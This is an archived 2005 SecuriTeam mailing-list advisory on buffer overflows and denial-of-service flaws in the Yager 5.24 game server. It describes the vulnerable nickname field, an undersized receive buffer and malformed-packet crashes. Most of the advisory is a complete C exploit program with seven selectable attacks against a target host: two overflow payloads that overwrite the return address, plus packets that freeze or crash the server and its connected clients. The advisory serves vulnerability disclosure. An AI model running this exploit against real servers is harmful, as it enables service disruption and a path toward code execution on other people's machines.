[NT] Yager Multiple Vulnerabilities (Multiple Buffer Overflows and DoS)

From: SecuriTeam (support_at_securiteam.com)
Date: 04/20/05

  • Next message: SecuriTeam: "[EXPL] Sumus Remote Buffer Overflow Exploit"
    To: list@securiteam.com
    Date: 20 Apr 2005 11:25:30 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Yager Multiple Vulnerabilities (Multiple Buffer Overflows and DoS)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.yager.de/en/index.html> Yager , a futuristic aerial 3D
    combat/action game, puts the player in the role of Magnus Tide, a noble,
    experienced freelance fighter-pilot on a mission to maintain the peace and
    status quo of his ultramodern world. His quest leads him through a variety
    of combat challenges."

    The game Yager contains multiple buffer overflows that allow attackers to
    execute arbitrary code, and also due to lack of filtering allows attackers
    to crash or hang the game.

    DETAILS

    Vulnerable Systems:
     * Yager version 5.24

    Nickname Buffer Overflow:
    The game is affected by a buffer-overflow in the nickname field (ID 0x1e)
    that allows an attacker to execute malicious code.

    Data Block Buffer Overflow:
    The buffer used to receive the data from the socket is 256 bytes long
    while the maximum size of the data block is 65536 (a 16 bit number)
    causing a buffer-overflow.

    Freeze Caused by Incomplete Data Block:
    The server and the clients connected to it can be easily freezed through
    the sending of incomplete data. The problem is that the game is
    synchronized with the receiving of the network data so it is blocked until
    all the expected data is received. For example, the header of the data
    blocks is 10 bytes long so if we send 9 or less bytes we are able to
    freeze the game.

    Multiple Crashes Caused by Corrupted Data:
    The game doesn't use enough checks to verify the correctness of the data
    received so is possible to cause various crashes through the usage of
    malformed data.

    Exploit:
    /*

    by Luigi Auriemma

    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <time.h>

    #ifdef WIN32
        #include <winsock.h>
        #include "winerr.h"

        #define close closesocket
    #else
        #include <unistd.h>
        #include <sys/socket.h>
        #include <sys/types.h>
        #include <arpa/inet.h>
        #include <netinet/in.h>
        #include <netdb.h>
    #endif

    #define VER "0.1"
    #define BUFFSZ (HEADSZ + 65536)
    #define PORT 34855
    #define TIMEOUT 3
    #define HEADSZ 10
    #define EIP "\xde\xc0\xad\xde"
    #define CRASHSZ 100
    #define NICKBOF "\x00\x00\x00\x00" /* vehicle type */ \
                        "\x01\x00\x00\x00" /* team */ \
                        "\xff\xff\xff\xff" /* nickname size, ignored! */ \
                        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                        EIP \
                        "aaaaaaaaaaaaaaaa\0"
    #define PCKBOF "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                        "aa" EIP

    #define SHOW(x) printf(x "%n%s%n\n", &tmp, p, &len); \
                        p += (len - tmp) + 1;
    #define SENDTO(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr
    *)&peer, sizeof(peer)) \
                          < 0) std_err();
    #define RECVFROM if(timeout(sd) < 0) { \
                            fputs("\nError: socket timeout, no reply
    received\n\n", stdout); \
                            exit(1); \
                        } \
                        len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
                        if(len < 0) std_err();
    #define SEND(x,y) if(send(sd, x, y, 0) \
                          < 0) std_err();

    u_long resolv(char *host);
    int timeout(int sock);
    void std_err(void);

    int main(int argc, char *argv[]) {
        struct sockaddr_in peer;
        int sd,
                len,
                attack,
                tmp,
                autoport = 1;
        u_short port = PORT;
        u_char *buff,
                info[] =
                    "Y_NET_YAGER_CLIENT\0"
                    "\x00\x00" "\x00\x00",
                *p;
        struct yager_head {
            u_long type;
            u_short size;
            u_short pck1;
            u_short pck2;
        } *yh;

        setbuf(stdout, NULL);

        fputs("\n"
            "Yager <= 5.24 multiple vulnerabilities "VER"\n"
            "by Luigi Auriemma\n"
            "e-mail: aluigi@autistici.org\n"
            "web: http://aluigi.altervista.org\n"
            "\n", stdout);

        if(argc < 3) {
            printf("\n"
                "Usage: %s <attack> <host> [port(auto)]\n"
                "\n"
                "Attacks:\n"
                " 1 = nickname buffer-overflow\n"
                " 2 = big data buffer-overflow\n"
                " 3 = freeze of server and connected clients\n"
                " 4 = crash using type 0x1d (in 0x0050e970)\n"
                " 5 = crash using type 0x22 (in 0x004fd2b8)\n"
                " 6 = crash using type 0x24 (in 0x004fd2f5)\n"
                " 7 = crash using type 0x28 (in 0x004b0f1b)\n"
                "\n", argv[0]);
            exit(1);
        }

    #ifdef WIN32
        WSADATA wsadata;
        WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif

        if(argc > 3) {
            autoport = 0;
            port = atoi(argv[3]);
        }

        peer.sin_addr.s_addr = resolv(argv[2]);
        peer.sin_port = htons(port);
        peer.sin_family = AF_INET;

        printf("- target %s : %hu\n",
            inet_ntoa(peer.sin_addr), port);

        buff = malloc(BUFFSZ);
        if(!buff) std_err();

        if(autoport) {
            sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
            if(sd < 0) std_err();

            fputs("- request informations:\n", stdout);
            *(u_short *)(info + 19) = ~time(NULL);
            SENDTO(info);
            RECVFROM;
            close(sd);

            p = buff + 19;
            port = ntohs(*(u_short *)p);
            printf("\n Server port %d\n", port);
            p += 2;
            SHOW(" Map ");
            printf(" Version %d.%d\n", p[1], p[0]);
            p += 2;
            SHOW(" Server name ");
            p += 4;
            printf(" Players %d / %d\n\n", p[1], p[0]);

            peer.sin_port = htons(port);
        }

        attack = atoi(argv[1]);
        if(attack > 7) {
            fputs("\nError: you have chosen a wrong attack number\n\n",
    stdout);
            exit(1);
        }

        sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(sd < 0) std_err();

        if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();

        yh = (struct yager_head *)buff;
        yh->pck1 = tmp = ~time(NULL) & 0xffff;
        yh->pck2 = 0;

        if(attack == 1) {
            yh->type = 0x1e;
            memcpy(buff + HEADSZ, NICKBOF, sizeof(NICKBOF) - 1);
            yh->size = sizeof(NICKBOF) - 1;
            fputs("- send long data block for nickname buffer-overflow\n",
    stdout);

        } else if(attack == 2) {
            yh->type = 0x00; // almost any other type is ok
            memcpy(buff + HEADSZ, PCKBOF, sizeof(PCKBOF) - 1);
            yh->size = sizeof(PCKBOF) - 1;
            fputs("- send long data block for packet buffer-overflow\n",
    stdout);

        } else if(attack == 3) {
            yh->type = 0x1b;
            yh->size = 0;
            printf("- server waits for %d bytes but we send a partial
    header\n", HEADSZ);
            tmp %= HEADSZ;
            if(tmp <= 0) tmp = 1;
            SEND(buff, tmp);
            fputs(" Server and connected clients should be freezed, press
    RETURN to stop the attack\n", stdout);
            fgetc(stdin);
            close(sd);
            return(0);

        } else {
            if(attack == 4) {
                yh->type = 0x1d;
            } else if(attack == 5) {
                yh->type = 0x22;
            } else if(attack == 6) {
                yh->type = 0x24;
            } else if(attack == 7) {
                yh->type = 0x28;
            }

            memset(buff + HEADSZ, 0xff, CRASHSZ);
            yh->size = CRASHSZ;
            printf("- send crash data with type 0x%08lx\n", yh->type);
        }

        SEND(buff, yh->size + HEADSZ);
        fputs("- check server status\n", stdout);
        if(!timeout(sd)) {
            if(recv(sd, buff, BUFFSZ, 0) < 0) {
                fputs("\nServer IS vulnerable!!!\n\n", stdout);
            } else {
                fputs("\nServer doesn't seem vulnerable\n\n", stdout);
            }
        } else {
            fputs("\nNo reply from the server, it is probably not
    vulnerable\n\n", stdout);
        }

        close(sd);
        return(0);
    }

    int timeout(int sock) {
        struct timeval tout;
        fd_set fd_read;
        int err;

        tout.tv_sec = TIMEOUT;
        tout.tv_usec = 0;
        FD_ZERO(&fd_read);
        FD_SET(sock, &fd_read);
        err = select(sock + 1, &fd_read, NULL, NULL, &tout);
        if(err < 0) std_err();
        if(!err) return(-1);
        return(0);
    }

    u_long resolv(char *host) {
        struct hostent *hp;
        u_long host_ip;

        host_ip = inet_addr(host);
        if(host_ip == INADDR_NONE) {
            hp = gethostbyname(host);
            if(!hp) {
                printf("\nError: Unable to resolv hostname (%s)\n", host);
                exit(1);
            } else host_ip = *(u_long *)hp->h_addr;
        }
        return(host_ip);
    }

    #ifndef WIN32
        void std_err(void) {
            perror("\nError");
            exit(1);
        }
    #endif

    /* EOF */

    In order to use winerr.h please see the address:
    <http://www.securiteam.com/windowsntfocus/5LP0M2KDPI.html>
    http://www.securiteam.com/windowsntfocus/5LP0M2KDPI.html

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aluigi@autistici.org> Luigi
    Auriemma.
    The original article can be found at:
    <http://aluigi.altervista.org/adv/yagerbof-adv.txt>
    http://aluigi.altervista.org/adv/yagerbof-adv.txt

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] Sumus Remote Buffer Overflow Exploit"

    Relevant Pages

    • [NT] Ghost Recon DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... for the game "The sum of all fears" in the 2002. ... int main{ ... engine:\n", stdout); ...
      (Securiteam)
    • [NT] Sacrifice Format String and Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A format string and buffer overflow vulnerabilities discovered in game ...
      (Securiteam)
    • [NT] PacketTrap TFTP Server Denial of Service
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A vulnerability in the way pt360's TFTP ... int timeout; ... if local_file is equal to %s will be used stdout for upload or ...
      (Securiteam)
    • [NT] Argon Client Management Services Directory Traversal
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int timeout; ... u_short port = PORT; ... if local_file is equal to %s will be used stdout for ...
      (Securiteam)
    • [NT] 2X ThinClientServer Directory Traversal
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int timeout; ... u_short port = PORT; ... if local_file is equal to %s will be used stdout for ...
      (Securiteam)